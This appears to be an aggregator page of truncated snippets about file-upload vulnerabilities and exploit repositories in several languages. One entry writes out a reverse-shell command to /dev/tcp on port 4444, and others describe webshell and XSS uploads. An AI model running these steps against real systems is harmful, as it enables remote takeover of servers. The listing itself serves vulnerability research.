CVE-2026-92532 Unrestricted Upload of File with Dangerous Type in BugTracker.NET

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell 테스트 버전 취약점 악용 명령 생성 echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumake를 이용한 취약점 악용 이미지 생성 import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh", "chmod +x /tmp/1.sh",...

wargame-tarpioka

BubbleTea CVE-2007-4559 “.tar”를 이용한 디렉토리 탐색 취약점으로 ../../flag path BubbleTea/ ├── Dockerfile ├── flag ├── requirements.txt └── src ├── files ├── template │ └── index.html └── app.py Current Building Instructions check docker docker ps docker images docker build -t tarpioka docker run -d -it --name...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS 버전 " image.jpg 4 이 파일의 이름을 image.php로 변경합니다. 5 양식 페이지에서 생성한 image.php 파일을 업로드합니다. 6 이제 이 파일을 실행하려면 https://yoursite.com/assets/image.php에 접속하면 됩니다. 참고:https://yoursite.com을 테스트 설치 주소로 바꾸세요. 참조 GHSA-72hg-5wr5-rmfc...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE 이 저장소는 Adobe ColdFusion 2021의 RCE 취약점에 대한 익스플로잇 코드를 포함하고 있습니다. 익스플로잇 설명 익스플로잇은 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm으로 JSP 리버스 셸을 포함한 POST 요청을 보냅니다. 성공하면 셸을 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp...

CVE-2024-22393

CVE-2024-22393 악용 이 취약점을 악용하려면 내가 제공한 사진을 아무 사진 업로드 섹션에 업로드하세요. lottapixel.jpg 참조: https://nvd.nist.gov/vuln/detail/CVE-2024-22393 https://www.openwall.com/lists/oss-security/2024/02/22/1 https://lists.apache.org/thread/f58l6dr4r74hl6o71gn47kmn44vw12cv...

CVE-2024-50510

CVE-2024-50510 AR For Woocommerce = 6.2 - 인증되지 않은 임의 파일 업로드 설명 WordPress용 AR for WooCommerce 플러그인은 6.2까지의 모든 버전에서 파일 형식 검증이 누락되어 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의 파일을 업로드할 수 있으며, 이로 인해 원격 코드 실행이 가능해질 수 있습니다. 세부 정보 유형 : plugin 슬러그 : ar-for-woocommerce 영향받는 버전 : 6.2 CVSS 점수 :...

cve-2017-7269-tool

cve-2017-7269 웹쉘 및 쉘코드 도구 빌드 csc cve-2017-7269.cs 사용법 CVE-2017-7269 parms Header: -h set host for If header -p set port for If header -s set scheme for If header -l length of physical path WebShell: -w upload webshell to server -wp path of webshell to save ShellCode: -c execute the shellcode Misc...

CVE-2023-50164

HackTheBox ラボ向け Exploit CVE-2023-50164 説明 この exploit は、HackTheBox の Strutted ラボ向けに開発され、Apache Struts 2 の CVE-2023-50164 の脆弱性を悪用することを目的としています。この欠陥により、ファイルアップロードパラメータの処理における不備を介して path traversal が可能になります。この exploit は、攻撃者がどのように 悪意のあるファイルのアップロード を行い、リモートコード実行 RCE を達成できるかを示す目的で作成されました。 注記: この exploit...

CVE-2026-38526

CVE-2026-38526 — Krayin CRM ≤ 2.2.x 认证后 RCE ⚠️ 法律声明 ：此代码仅供教育目的 和授权测试使用（CTF、漏洞赏金、私人实验室）。 作者不对非法使用承担责任。 描述 Krayin CRM Webkul ≤ 2.2.x 暴露了 /admin/tinymce/upload 端点，允许已认证用户（即使是低权限用户） 上传文件而不验证扩展名。该文件随后 从 storage/ 目录提供服务，从而允许 任意执行 PHP 代码。 类型 ：任意文件上传 → RCE CVSS ：9.9（严重） 需要认证 ：是（任何有效账户） 安装 git clone...

CVE-2025-57462

CVE-2025-57462 설명: machpanel 8.0.32에서 악성 파일 업로드를 통한 저장형 XSS. PoC: https://controlpaneldomain/Client/SubmitTicket.aspx로 이동하여 메타데이터에 XSS 스크립트가 포함된 PDF 파일을 업로드합니다. 티켓을 제출한 후 업로드된 파일에 접근하여 악성 XSS 스크립트를 실행할 수 있습니다. 발견자: Aljohara Abdulmohsen Alsubaie...

CVE-2025-57298

Kotaemon의 안전하지 않은 Markdown 렌더링을 통한 저장형 XSS 요약 Kotaemon은 PDF, Word, Excel 파일과 같은 업로드된 문서를 질의할 수 있는 웹 인터페이스를 제공하는 오픈소스 RAGRetrieval-Augmented Generation 기반 문서 QA 시스템입니다. Kotaemon의 문서 렌더링 파이프라인에는 저장형 교차 사이트 스크립팅XSS 취약점이 존재합니다. 사용자 제어 콘텐츠는 LLM에 의해 처리되고, 적절한 살균 없이 markdown-to-HTML 변환 후 웹 인터페이스에서 렌더링되므...

CVE-2026-19386

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

Zimbra Collaboration - Unrestricted File Upload

An issue was discovered in Zimbra Collaboration ZCS 8.8.15 and 9.0. An attacker can upload arbitrary files through amavis via a cpio loophole extraction to /opt/zimbra/jetty/webapps/zimbra/public that can lead to incorrect access to any other user accounts. Zimbra recommends pax over cpio. Also,...

DotCMS - Arbitrary File Upload

DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions. id: CVE-2022-26352 info: name: DotCMS - Arbitrary File Upload author: h1ei1 severity: critical description: DotCM...

Roxy Fileman 1.4.5 - Unrestricted File Upload

Roxy Fileman 1.4.5 is susceptible to unrestricted file upload via upload.php. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. id: CVE-2018-20526 info: name: Roxy Fileman 1.4.5 -...

DELMIA Apriso - Command Injection

An Improper Control of Generation of Code code injection / file upload → RCE vulnerability affecting DELMIA Apriso Release 2020 → Release 2025. When an authenticated user can upload files and the upload handler fails to canonicalize filenames or enforce storage restrictions, an attacker may place...

Chamilo LMS <= 1.11.24 - Remote Code Execution

Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS = v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell. id: CVE-2023-422...

Cisco HyperFlex HX Data Platform - Arbitrary File Upload

Cisco HyperFlex HX Data Platform contains an arbitrary file upload vulnerability in the web-based management interface. An attacker can send a specific HTTP request to an affected device, thus enabling upload of files to the affected device with the permissions of the tomcat8 user. id:...

SPIP BigUp Plugin - Remote Code Execution

SPIP before 4.3.2, 4.2.16, and 4.1.18 is vulnerable to a command injection issue. A remote and unauthenticated attacker can execute arbitrary operating system commands by sending a crafted multipart file upload HTTP request. id: CVE-2024-8517 info: name: SPIP BigUp Plugin - Remote Code Execution...